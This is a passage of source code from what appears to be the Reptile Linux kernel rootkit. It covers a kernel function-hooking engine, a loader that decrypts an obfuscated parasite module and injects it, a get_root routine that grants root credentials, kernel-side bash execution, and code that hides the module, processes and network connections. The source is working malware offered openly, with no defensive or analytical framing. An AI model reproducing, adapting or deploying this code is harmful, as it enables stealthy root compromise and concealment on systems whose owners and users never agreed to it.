3 | #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)
4 |
5 | #include
6 | #include
7 |
8 | char *kstrdup_quotable_cmdline(struct task_struct *task, gfp_t gfp);
9 |
10 | #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
11 | char *strreplace(char *s, char old, char new);
12 | #endif
13 |
14 | #else
15 | # include
16 | # include
17 | # include
18 | #endif
--------------------------------------------------------------------------------
/kernel/include/util.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0)
6 | # include
7 | #else
8 | # include
9 | #endif
10 |
11 | #define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
12 | #define do_decrypt(ptr, len, key) do_encode(ptr, len, key)
13 |
14 | static inline unsigned int custom_rol32(unsigned int val, int n)
15 | {
16 | return ((val << n) | (val >> (32 - n)));
17 | }
18 |
19 | static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
20 | {
21 | while (len > sizeof(key)) {
22 | *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13));
23 | len -= sizeof(key), ptr += sizeof(key);
24 | }
25 | }
26 |
27 | static inline int exec(char **argv)
28 | {
29 | char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL};
30 | return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
31 | }
32 |
33 | static inline int run_cmd(char *cmd)
34 | {
35 | char *argv[] = {"/bin/bash", "-c", cmd, NULL};
36 | return exec(argv);
37 | }
38 |
39 | static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
40 | unsigned long addr)
41 | {
42 | int i = 0;
43 | while (!module && (((const char *)data[0]))[i] == name[i]) {
44 | if (!name[i++])
45 | return !!(data[1] = addr);
46 | }
47 | return 0;
48 | }
49 |
50 | static inline unsigned long ksym_lookup_name(const char *name)
51 | {
52 | unsigned long data[2] = {(unsigned long)name, 0};
53 | kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
54 | return data[1];
55 | }
56 |
57 | #ifdef CONFIG_GIVE_ROOT
58 | static inline void get_root(void)
59 | {
60 | #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
61 | current->uid = 0;
62 | current->suid = 0;
63 | current->euid = 0;
64 | current->gid = 0;
65 | current->egid = 0;
66 | current->fsuid = 0;
67 | current->fsgid = 0;
68 | cap_set_full(current->cap_effective);
69 | cap_set_full(current->cap_inheritable);
70 | cap_set_full(current->cap_permitted);
71 | #else
72 | commit_creds(prepare_kernel_cred(0));
73 | #endif
74 | }
75 | #endif
76 |
77 | extern int hidden;
78 |
79 | static inline void flip_hidden_flag(void)
80 | {
81 | if (hidden)
82 | hidden = 0;
83 | else
84 | hidden = 1;
85 | }
86 |
87 | int util_init(void);
88 | int get_cmdline(struct task_struct *task, char *buffer, int buflen);
89 | //int run_cmd(const char *cmd);
--------------------------------------------------------------------------------
/kernel/khook/engine.c:
--------------------------------------------------------------------------------
1 | #include "internal.h"
2 |
3 | static khook_stub_t *khook_stub_tbl = NULL;
4 |
5 | ////////////////////////////////////////////////////////////////////////////////
6 |
7 | static int khook_lookup_cb(long data[], const char *name, void *module, long addr)
8 | {
9 | int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
10 | if (!name[i++]) return !!(data[1] = addr);
11 | } return 0;
12 | }
13 |
14 | static void *khook_lookup_name(const char *name)
15 | {
16 | long data[2] = { (long)name, 0 };
17 | kallsyms_on_each_symbol((void *)khook_lookup_cb, data);
18 | return (void *)data[1];
19 | }
20 |
21 | static void *khook_map_writable(void *addr, size_t len)
22 | {
23 | struct page *pages[2] = { 0 }; // len << PAGE_SIZE
24 | long page_offset = offset_in_page(addr);
25 | int i, nb_pages = DIV_ROUND_UP(page_offset + len, PAGE_SIZE);
26 |
27 | addr = (void *)((long)addr & PAGE_MASK);
28 | for (i = 0; i < nb_pages; i++, addr += PAGE_SIZE) {
29 | if ((pages[i] = is_vmalloc_addr(addr) ?
30 | vmalloc_to_page(addr) : virt_to_page(addr)) == NULL)
31 | return NULL;
32 | }
33 |
34 | addr = vmap(pages, nb_pages, VM_MAP, PAGE_KERNEL);
35 | return addr ? addr + page_offset : NULL;
36 | }
37 |
38 | ////////////////////////////////////////////////////////////////////////////////
39 |
40 | #ifdef CONFIG_X86
41 | # include "x86/hook.c"
42 | #else
43 | # error Target CPU architecture is NOT supported !!!
44 | #endif
45 |
46 | ////////////////////////////////////////////////////////////////////////////////
47 |
48 | static void khook_wakeup(void)
49 | {
50 | struct task_struct *p;
51 | rcu_read_lock();
52 | for_each_process(p) {
53 | wake_up_process(p);
54 | }
55 | rcu_read_unlock();
56 | }
57 |
58 | static int khook_sm_init_hooks(void *arg)
59 | {
60 | khook_t *p;
61 | KHOOK_FOREACH_HOOK(p) {
62 | if (!p->target.addr_map) continue;
63 | khook_arch_sm_init_one(p);
64 | }
65 | return 0;
66 | }
67 |
68 | static int khook_sm_cleanup_hooks(void *arg)
69 | {
70 | khook_t *p;
71 | KHOOK_FOREACH_HOOK(p) {
72 | if (!p->target.addr_map) continue;
73 | khook_arch_sm_cleanup_one(p);
74 | }
75 | return 0;
76 | }
77 |
78 | static void khook_resolve(void)
79 | {
80 | khook_t *p;
81 | KHOOK_FOREACH_HOOK(p) {
82 | p->target.addr = khook_lookup_name(p->target.name);
83 | }
84 | }
85 |
86 | static void khook_map(void)
87 | {
88 | khook_t *p;
89 | KHOOK_FOREACH_HOOK(p) {
90 | if (!p->target.addr) continue;
91 | p->target.addr_map = khook_map_writable(p->target.addr, 32);
92 | khook_debug("target %s@%p -> %p\n", p->target.name, p->target.addr, p->target.addr_map);
93 | }
94 | }
95 |
96 | static void khook_unmap(int wait)
97 | {
98 | khook_t *p;
99 | KHOOK_FOREACH_HOOK(p) {
100 | khook_stub_t *stub = KHOOK_STUB(p);
101 | if (!p->target.addr_map) continue;
102 | while (wait && atomic_read(&stub->use_count) > 0) {
103 | khook_wakeup();
104 | msleep_interruptible(1000);
105 | khook_debug("waiting for %s...\n", p->target.name);
106 | }
107 | vunmap((void *)((long)p->target.addr_map & PAGE_MASK));
108 | p->target.addr_map = NULL;
109 | }
110 | }
111 |
112 | ////////////////////////////////////////////////////////////////////////////////
113 |
114 | int khook_init(void)
115 | {
116 | void *(*malloc)(long size) = NULL;
117 | int (*set_memory_x)(unsigned long, int) = NULL;
118 |
119 | malloc = khook_lookup_name("module_alloc");
120 | if (!malloc || KHOOK_ARCH_INIT()) return -EINVAL;
121 |
122 | khook_stub_tbl = malloc(KHOOK_STUB_TBL_SIZE);
123 | if (!khook_stub_tbl) return -ENOMEM;
124 | memset(khook_stub_tbl, 0, KHOOK_STUB_TBL_SIZE);
125 |
126 | //
127 | // Since some point memory allocated by module_alloc() doesn't
128 | // have eXecutable attributes. That's why we have to mark the
129 | // region executable explicitly.
130 | //
131 |
132 | set_memory_x = khook_lookup_name("set_memory_x");
133 | if (set_memory_x) {
134 | int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE;
135 | set_memory_x((unsigned long)khook_stub_tbl, numpages);
136 | }
137 |
138 | khook_resolve();
139 |
140 | khook_map();
141 | stop_machine(khook_sm_init_hooks, NULL, NULL);
142 | khook_unmap(0);
143 |
144 | return 0;
145 | }
146 |
147 | void khook_cleanup(void)
148 | {
149 | khook_map();
150 | stop_machine(khook_sm_cleanup_hooks, NULL, NULL);
151 | khook_unmap(1);
152 | vfree(khook_stub_tbl);
153 | }
154 |
--------------------------------------------------------------------------------
/kernel/khook/engine.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 |
5 | #define KHOOK_F_NOREF (1UL << 0) // don't do auto ref-count
6 |
7 | typedef struct {
8 | void *fn; // handler fn address
9 | struct {
10 | const char *name; // target symbol name
11 | char *addr; // target symbol addr (see khook_lookup_name)
12 | char *addr_map; // writable mapping of target symbol
13 | } target;
14 | void *orig; // original fn call wrapper
15 | unsigned long flags; // hook engine options (flags)
16 | } khook_t;
17 |
18 | #define KHOOK_(t, f) \
19 | static inline typeof(t) khook_##t; /* forward decl */ \
20 | khook_t \
21 | __attribute__((unused)) \
22 | __attribute__((aligned(1))) \
23 | __attribute__((section(".data.khook"))) \
24 | KHOOK_##t = { \
25 | .fn = khook_##t, \
26 | .target.name = #t, \
27 | .flags = f, \
28 | }
29 |
30 | #define KHOOK(t) \
31 | KHOOK_(t, 0)
32 | #define KHOOK_EXT(r, t, ...) \
33 | extern r t(__VA_ARGS__); \
34 | KHOOK_(t, 0)
35 |
36 | #define KHOOK_NOREF(t) \
37 | KHOOK_(t, KHOOK_F_NOREF)
38 | #define KHOOK_NOREF_EXT(r, t, ...) \
39 | extern r t(__VA_ARGS__); \
40 | KHOOK_(t, KHOOK_F_NOREF)
41 |
42 | #define KHOOK_ORIGIN(t, ...) \
43 | ((typeof(t) *)KHOOK_##t.orig)(__VA_ARGS__)
44 |
45 | extern int khook_init(void);
46 | extern void khook_cleanup(void);
47 |
--------------------------------------------------------------------------------
/kernel/khook/engine.lds:
--------------------------------------------------------------------------------
1 | SECTIONS
2 | {
3 | .data : {
4 | KHOOK_tbl = . ;
5 | *(.data.khook)
6 | KHOOK_tbl_end = . ;
7 | }
8 | }
9 |
--------------------------------------------------------------------------------
/kernel/khook/internal.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | #ifndef for_each_process
12 | # include
13 | #endif
14 |
15 | #include "engine.h"
16 |
17 | extern khook_t KHOOK_tbl[];
18 | extern khook_t KHOOK_tbl_end[];
19 |
20 | #define KHOOK_FOREACH_HOOK(p) \
21 | for (p = KHOOK_tbl; p < KHOOK_tbl_end; p++)
22 |
23 | typedef struct {
24 | #pragma pack(push, 1)
25 | union {
26 | unsigned char _0x00_[ 0x10 ];
27 | atomic_t use_count;
28 | };
29 | union {
30 | unsigned char _0x10_[ 0x20 ];
31 | unsigned char orig[0];
32 | };
33 | union {
34 | unsigned char _0x30_[ 0x80 ];
35 | unsigned char hook[0];
36 | };
37 | #pragma pack(pop)
38 | unsigned nbytes;
39 | } __attribute__((aligned(32))) khook_stub_t;
40 |
41 | static khook_stub_t *khook_stub_tbl;
42 |
43 | #define KHOOK_STUB(h) \
44 | (khook_stub_tbl + ((h) - KHOOK_tbl))
45 |
46 | #define KHOOK_STUB_TBL_SIZE \
47 | (sizeof(khook_stub_t) * (KHOOK_tbl_end - KHOOK_tbl + 1))
48 |
49 | #if BITS_PER_LONG == 64
50 | # define KHOOK_STUB_FILE_NAME "stub.inc"
51 | #else
52 | # define KHOOK_STUB_FILE_NAME "stub32.inc"
53 | #endif
54 |
55 | #ifdef DEBUG
56 | # define khook_debug(fmt, ...) \
57 | pr_debug("[khook] " fmt, ##__VA_ARGS__)
58 | #else
59 | # define khook_debug(fmt, ...)
60 | #endif
61 |
--------------------------------------------------------------------------------
/kernel/khook/x86/.gitignore:
--------------------------------------------------------------------------------
1 | stub
2 | stub32
3 |
--------------------------------------------------------------------------------
/kernel/khook/x86/Makefile:
--------------------------------------------------------------------------------
1 | STUB = stub.S
2 |
3 | stub: FORCE
4 | gcc $(CFLAGS) -nostdlib -Wl,-e0 $(STUB) -o stub
5 | objcopy --dump-section .text=/dev/stdout stub | xxd -i - >stub.inc
6 | gcc $(CFLAGS) -m32 -nostdlib -Wl,-e0 $(STUB) -o stub32
7 | objcopy --dump-section .text=/dev/stdout stub32 | xxd -i - >stub32.inc
8 |
9 | clean:
10 | rm -f stub *.inc
11 |
12 | FORCE:
13 |
--------------------------------------------------------------------------------
/kernel/khook/x86/README.md:
--------------------------------------------------------------------------------
1 | KHOOK x86 stub generator, use `make` to (re)-generate.
2 |
--------------------------------------------------------------------------------
/kernel/khook/x86/hook.c:
--------------------------------------------------------------------------------
1 | #include "../internal.h"
2 |
3 | ////////////////////////////////////////////////////////////////////////////////
4 | // IN-kernel length disassembler engine (x86 only, 2.6.33+)
5 | ////////////////////////////////////////////////////////////////////////////////
6 |
7 | #include
8 |
9 | static struct {
10 | typeof(insn_init) *init;
11 | typeof(insn_get_length) *get_length;
12 | } khook_arch_lde;
13 |
14 | static inline int khook_arch_lde_init(void) {
15 | khook_arch_lde.init = khook_lookup_name("insn_init");
16 | if (!khook_arch_lde.init) return -EINVAL;
17 | khook_arch_lde.get_length = khook_lookup_name("insn_get_length");
18 | if (!khook_arch_lde.get_length) return -EINVAL;
19 | return 0;
20 | }
21 |
22 | static inline int khook_arch_lde_get_length(const void *p) {
23 | struct insn insn;
24 | int x86_64 = 0;
25 | #ifdef CONFIG_X86_64
26 | x86_64 = 1;
27 | #endif
28 | #if defined MAX_INSN_SIZE && (MAX_INSN_SIZE == 15) /* 3.19.7+ */
29 | khook_arch_lde.init(&insn, p, MAX_INSN_SIZE, x86_64);
30 | #else
31 | khook_arch_lde.init(&insn, p, x86_64);
32 | #endif
33 | khook_arch_lde.get_length(&insn);
34 | return insn.length;
35 | }
36 |
37 | ////////////////////////////////////////////////////////////////////////////////
38 |
39 | // place a jump at addr @a from addr @f to addr @t
40 | static inline void x86_put_jmp(void *a, void *f, void *t)
41 | {
42 | *((char *)(a + 0)) = 0xE9;
43 | *(( int *)(a + 1)) = (long)(t - (f + 5));
44 | }
45 |
46 | static const char khook_stub_template[] = {
47 | # include KHOOK_STUB_FILE_NAME
48 | };
49 |
50 | static inline void stub_fixup(void *stub, const void *value) {
51 | while (*(int *)stub != 0xcacacaca) stub++;
52 | *(long *)stub = (long)value;
53 | }
54 |
55 | static inline void khook_arch_sm_init_one(khook_t *hook) {
56 | khook_stub_t *stub = KHOOK_STUB(hook);
57 | if (hook->target.addr[0] == (char)0xE9 ||
58 | hook->target.addr[0] == (char)0xCC) return;
59 |
60 | BUILD_BUG_ON(sizeof(khook_stub_template) > offsetof(khook_stub_t, nbytes));
61 | memcpy(stub, khook_stub_template, sizeof(khook_stub_template));
62 | stub_fixup(stub->hook, hook->fn);
63 |
64 | while (stub->nbytes < 5)
65 | stub->nbytes += khook_arch_lde_get_length(hook->target.addr + stub->nbytes);
66 |
67 | memcpy(stub->orig, hook->target.addr, stub->nbytes);
68 | x86_put_jmp(stub->orig + stub->nbytes, stub->orig + stub->nbytes, hook->target.addr + stub->nbytes);
69 | if (hook->flags & KHOOK_F_NOREF) {
70 | x86_put_jmp(hook->target.addr_map, hook->target.addr, hook->fn);
71 | } else {
72 | x86_put_jmp(hook->target.addr_map, hook->target.addr, stub->hook);
73 | }
74 | hook->orig = stub->orig; // the only link from hook to stub
75 | }
76 |
77 | static inline void khook_arch_sm_cleanup_one(khook_t *hook) {
78 | khook_stub_t *stub = KHOOK_STUB(hook);
79 | memcpy(hook->target.addr_map, stub->orig, stub->nbytes);
80 | }
81 |
82 | #define KHOOK_ARCH_INIT(...) \
83 | (khook_arch_lde_init())
84 |
--------------------------------------------------------------------------------
/kernel/khook/x86/stub.S:
--------------------------------------------------------------------------------
1 | #
2 | # KHOOK STUB layout
3 | # -----------------
4 | # 0x00: atomic_t = (0)
5 | # 0x10: orig function call wrapper
6 | # 0x30: hook function call wrapper
7 | #
8 |
9 | KHOOK_STUB_atomic_use_count:
10 | .rept 16
11 | .byte 0x00
12 | .endr
13 |
14 | KHOOK_STUB_orig:
15 | .rept 32
16 | .byte 0x00
17 | .endr
18 |
19 | #
20 | # Hooking of function with more than N arguments requires us to
21 | # make a local copy of all arguments starting from N as they are
22 | # passed through the stack as per the ABI.
23 | #
24 | # TODO: x86-32 implementation of CALL_COPY_N_ARGS macro
25 | #
26 |
27 | #ifdef __x86_64__
28 | .macro CALL_COPY_N_ARGS n
29 | sub $(\n * 8), %rsp
30 | .set i, 0
31 | .rept \n
32 | mov ((\n + i + 1) * 8)(%rsp), %rax
33 | mov %rax, (i * 8)(%rsp)
34 | .set i, i + 1
35 | .endr
36 | movabs $0xcacacacacacacaca, %rax
37 | call *%rax
38 | add $(\n * 8), %rsp
39 | .endm
40 | KHOOK_STUB_hook:
41 | lock incl KHOOK_STUB_atomic_use_count(%rip)
42 | CALL_COPY_N_ARGS 8
43 | lock decl KHOOK_STUB_atomic_use_count(%rip)
44 | ret
45 | #else
46 | KHOOK_STUB_hook:
47 | call 1f
48 | 1: pop %eax
49 | lock incl -(1b - KHOOK_STUB_atomic_use_count)(%eax)
50 | mov $0xcacacaca, %eax
51 | call *%eax
52 | call 1f
53 | 1: pop %ecx
54 | lock decl -(1b - KHOOK_STUB_atomic_use_count)(%ecx)
55 | ret
56 | #endif
57 |
--------------------------------------------------------------------------------
/kernel/khook/x86/stub.inc:
--------------------------------------------------------------------------------
1 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
2 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
3 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
4 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
5 | 0xf0, 0xff, 0x05, 0xc9, 0xff, 0xff, 0xff, 0x48, 0x83, 0xec, 0x40, 0x48,
6 | 0x8b, 0x44, 0x24, 0x48, 0x48, 0x89, 0x04, 0x24, 0x48, 0x8b, 0x44, 0x24,
7 | 0x50, 0x48, 0x89, 0x44, 0x24, 0x08, 0x48, 0x8b, 0x44, 0x24, 0x58, 0x48,
8 | 0x89, 0x44, 0x24, 0x10, 0x48, 0x8b, 0x44, 0x24, 0x60, 0x48, 0x89, 0x44,
9 | 0x24, 0x18, 0x48, 0x8b, 0x44, 0x24, 0x68, 0x48, 0x89, 0x44, 0x24, 0x20,
10 | 0x48, 0x8b, 0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8b,
11 | 0x44, 0x24, 0x78, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8b, 0x84, 0x24,
12 | 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0xb8, 0xca,
13 | 0xca, 0xca, 0xca, 0xca, 0xca, 0xca, 0xca, 0xff, 0xd0, 0x48, 0x83, 0xc4,
14 | 0x40, 0xf0, 0xff, 0x0d, 0x5c, 0xff, 0xff, 0xff, 0xc3
15 |
--------------------------------------------------------------------------------
/kernel/khook/x86/stub32.inc:
--------------------------------------------------------------------------------
1 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
2 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
3 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
4 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
5 | 0xe8, 0x00, 0x00, 0x00, 0x00, 0x58, 0xf0, 0xff, 0x40, 0xcb, 0xb8, 0xca,
6 | 0xca, 0xca, 0xca, 0xff, 0xd0, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x59, 0xf0,
7 | 0xff, 0x49, 0xba, 0xc3
8 |
--------------------------------------------------------------------------------
/kernel/kmatryoshka/Kbuild:
--------------------------------------------------------------------------------
1 | TARGET ?= reptile
2 |
3 | obj-m += $(TARGET).o
4 | $(TARGET)-y += kmatryoshka.o
5 |
6 | ccflags-y += -I$(src)/../include
7 | ccflags-y += -I$(src)/../../output
8 | ccflags-y += $(CFLAGS) -Os -fomit-frame-pointer -fno-stack-protector
9 |
10 | KBUILD_CFLAGS := $(subst -pg,,$(KBUILD_CFLAGS))
11 | KBUILD_CFLAGS := $(subst -mfentry,,$(KBUILD_CFLAGS))
12 |
--------------------------------------------------------------------------------
/kernel/kmatryoshka/kmatryoshka.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #ifndef user_addr_max
7 | #define user_addr_max() (current_thread_info()->addr_limit.seg)
8 | #endif
9 |
10 | #include "encrypt.h"
11 |
12 | #define SYS_INIT_MODULE \
13 | ({ \
14 | unsigned int *p = __builtin_alloca(16); \
15 | p[0] = 0x5f737973; \
16 | p[1] = 0x74696e69; \
17 | p[2] = 0x646f6d5f; \
18 | p[3] = 0x00656c75; \
19 | (char *)p; \
20 | })
21 |
22 | #define __DO_SYS_INIT_MODULE \
23 | ({ \
24 | unsigned int *p = __builtin_alloca(24); \
25 | p[0] = 0x6f645f5f; \
26 | p[1] = 0x7379735f; \
27 | p[2] = 0x696e695f; \
28 | p[3] = 0x6f6d5f74; \
29 | p[4] = 0x656c7564; \
30 | p[5] = 0x00000000; \
31 | (char *)p; \
32 | })
33 |
34 | static char parasite_blob[] = {
35 | #include "parasite_blob.inc"
36 | };
37 |
38 | static int ksym_lookup_cb(unsigned long data[], const char *name, void *module,
39 | unsigned long addr)
40 | {
41 | int i = 0;
42 | while (!module && (((const char *)data[0]))[i] == name[i]) {
43 | if (!name[i++])
44 | return !!(data[1] = addr);
45 | }
46 | return 0;
47 | }
48 |
49 | static inline unsigned long ksym_lookup_name(const char *name)
50 | {
51 | unsigned long data[2] = {(unsigned long)name, 0};
52 | kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
53 | return data[1];
54 | }
55 |
56 | int init_module(void)
57 | {
58 | int ret = -EINVAL;
59 | asmlinkage long (*sys_init_module)(const void *, unsigned long, const char *) = NULL;
60 |
61 | do_decrypt(parasite_blob, sizeof(parasite_blob), DECRYPT_KEY);
62 |
63 | sys_init_module = (void *)ksym_lookup_name(SYS_INIT_MODULE);
64 |
65 | if (!sys_init_module)
66 | sys_init_module = (void *)ksym_lookup_name(__DO_SYS_INIT_MODULE);
67 |
68 | if (sys_init_module) {
69 | const char *nullarg = parasite_blob;
70 | unsigned long seg = user_addr_max();
71 |
72 | while (*nullarg)
73 | nullarg++;
74 |
75 | user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
76 | if(sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg) == 0) ret = -37; // would be 1337, but is too obvious. hahaha
77 | user_addr_max() = seg;
78 | }
79 |
80 | return ret;
81 | }
82 |
83 | MODULE_LICENSE("GPL");
84 | MODULE_INFO(intree, "Y");
85 |
--------------------------------------------------------------------------------
/kernel/loader/loader.c:
--------------------------------------------------------------------------------
1 | #define _GNU_SOURCE
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 |
12 | #include "encrypt.h"
13 |
14 | static char reptile_blob[] = {
15 | #include "reptile.ko.inc"
16 | };
17 |
18 | #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
19 |
20 | int main(void)
21 | {
22 | int ret = EXIT_FAILURE;
23 | size_t len;
24 | void *module_image;
25 |
26 | len = sizeof(reptile_blob);
27 | do_decrypt(reptile_blob, len, DECRYPT_KEY);
28 | module_image = malloc(len);
29 | memcpy(module_image, reptile_blob, len);
30 | init_module(module_image, len, "");
31 |
32 | if (errno == 37)
33 | ret = EXIT_SUCCESS;
34 |
35 | free(module_image);
36 | return ret;
37 | }
38 |
--------------------------------------------------------------------------------
/kernel/module.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "module.h"
6 |
7 | int hide_m = 0;
8 | static struct list_head *mod_list;
9 |
10 | void hide(void)
11 | {
12 | while (!mutex_trylock(&module_mutex))
13 | cpu_relax();
14 | mod_list = THIS_MODULE->list.prev;
15 | list_del(&THIS_MODULE->list);
16 | kfree(THIS_MODULE->sect_attrs);
17 | THIS_MODULE->sect_attrs = NULL;
18 | mutex_unlock(&module_mutex);
19 |
20 | hide_m = 1;
21 | }
22 |
23 | void show(void)
24 | {
25 | while (!mutex_trylock(&module_mutex))
26 | cpu_relax();
27 | list_add(&THIS_MODULE->list, mod_list);
28 | mutex_unlock(&module_mutex);
29 |
30 | hide_m = 0;
31 | }
32 |
33 | void hide_module(void)
34 | {
35 | if (hide_m == 0)
36 | hide();
37 | else if (hide_m == 1)
38 | show();
39 | }
40 |
--------------------------------------------------------------------------------
/kernel/network.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "network.h"
7 | #include "string_helpers.h"
8 |
9 | void network_hide_add(struct sockaddr_in addr)
10 | {
11 | struct hidden_conn *hc;
12 |
13 | hc = kmalloc(sizeof(*hc), GFP_KERNEL);
14 |
15 | if (!hc)
16 | return;
17 |
18 | hc->addr = addr;
19 | list_add(&hc->list, &hidden_conn_list);
20 | }
21 |
22 | void network_hide_remove(struct sockaddr_in addr)
23 | {
24 | struct hidden_conn *hc;
25 |
26 | list_for_each_entry(hc, &hidden_conn_list, list)
27 | {
28 | if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) {
29 | list_del(&hc->list);
30 | kfree(hc);
31 | break;
32 | }
33 | }
34 | }
35 |
36 | int is_addr_hidden(struct sockaddr_in addr)
37 | {
38 | struct hidden_conn *hc;
39 |
40 | list_for_each_entry(hc, &hidden_conn_list, list)
41 | {
42 | if (addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr)
43 | return 1;
44 | }
45 |
46 | return 0;
47 | }
48 |
49 | /*
50 | unsigned int _inet4_pton(char *src)
51 | {
52 | unsigned int dst;
53 | int srclen = strlen(src);
54 |
55 | if (srclen > INET_ADDRSTRLEN)
56 | return -EINVAL;
57 |
58 | if (in4_pton(src, srclen, (u8 *)&dst, -1, NULL) == 0)
59 | return -EINVAL;
60 |
61 | return dst;
62 | }
63 |
64 | void hide_conn(char *ip_str)
65 | {
66 | unsigned int ip;
67 | struct sockaddr_in addr;
68 |
69 | if ((ip = _inet4_pton(ip_str)) > 0) {
70 | addr.sin_addr.s_addr = ip;
71 |
72 | if (is_addr_hidden(addr))
73 | network_hide_remove(addr);
74 | else
75 | network_hide_add(addr);
76 | }
77 | }
78 | */
--------------------------------------------------------------------------------
/kernel/proc.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 11, 0)
9 | # include
10 | #endif
11 |
12 | #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 2, 0)
13 | # include "string_helpers.h"
14 | #endif
15 |
16 | #include "proc.h"
17 |
18 | int flag_tasks(pid_t pid, int set)
19 | {
20 | int ret = 0;
21 | struct pid *p;
22 |
23 | rcu_read_lock();
24 | p = find_get_pid(pid);
25 | if (p) {
26 | struct task_struct *task = get_pid_task(p, PIDTYPE_PID);
27 | if (task) {
28 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
29 | struct task_struct *t = NULL;
30 |
31 | for_each_thread(task, t)
32 | {
33 | if (set)
34 | t->flags |= FLAG;
35 | else
36 | t->flags &= ~FLAG;
37 |
38 | ret++;
39 | }
40 | #endif
41 | if (set)
42 | task->flags |= FLAG;
43 | else
44 | task->flags &= ~FLAG;
45 |
46 | put_task_struct(task);
47 | }
48 | put_pid(p);
49 | }
50 | rcu_read_unlock();
51 | return ret;
52 | }
53 |
54 | struct task_struct *find_task(pid_t pid)
55 | {
56 | struct task_struct *p = current;
57 | struct task_struct *ret = NULL;
58 |
59 | rcu_read_lock();
60 | for_each_process(p)
61 | {
62 | if (p->pid == pid) {
63 | get_task_struct(p);
64 | ret = p;
65 | }
66 | }
67 | rcu_read_unlock();
68 |
69 | return ret;
70 | }
71 |
72 | int is_proc_invisible(pid_t pid)
73 | {
74 | struct task_struct *task;
75 | int ret = 0;
76 |
77 | if (!pid)
78 | return ret;
79 |
80 | task = find_task(pid);
81 | if (!task)
82 | return ret;
83 |
84 | if (is_task_invisible(task))
85 | ret = 1;
86 |
87 | put_task_struct(task);
88 | return ret;
89 | }
90 |
91 | int is_proc_invisible_2(const char __user *filename)
92 | {
93 | int ret = 0, i, argc, is_num = 1;
94 | pid_t pid = 0;
95 | char **a;
96 | char *name = kmalloc(PATH_MAX, GFP_KERNEL);
97 |
98 | if (strncpy_from_user(name, filename, PATH_MAX) > 0) {
99 | if (strncmp(name, "/proc/", 6) == 0) {
100 | strreplace(name, '/', ' ');
101 |
102 | a = argv_split(GFP_KERNEL, name, &argc);
103 |
104 | for (i = 0; i < strlen(a[1]); i++) {
105 | if (!isdigit(*a[1]))
106 | is_num = 0;
107 | }
108 |
109 | if (is_num) {
110 | if (kstrtoint(a[1], 10, &pid) == 0) {
111 | if (is_proc_invisible(pid))
112 | ret = 1;
113 | }
114 | }
115 |
116 | argv_free(a);
117 | }
118 | }
119 |
120 | kfree(name);
121 | return ret;
122 | }
123 |
124 | void hide_proc(pid_t pid)
125 | {
126 | if (is_proc_invisible(pid))
127 | flag_tasks(pid, 0);
128 | else
129 | flag_tasks(pid, 1);
130 | }
131 |
132 | /*
133 | void hide_proc(char *pid_str)
134 | {
135 | pid_t pid;
136 |
137 | if (kstrtoint(pid_str, 10, &pid) == 0) {
138 | if (is_proc_invisible(pid))
139 | flag_tasks(pid, 0);
140 | else
141 | flag_tasks(pid, 1);
142 | }
143 | }
144 | */
--------------------------------------------------------------------------------
/kernel/string_helpers.c:
--------------------------------------------------------------------------------
1 | #include "string_helpers.h"
2 |
3 | #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 7, 0)
4 |
5 | /* stolen from lib/string_helpers.c */
6 |
7 | #include
8 | #include
9 |
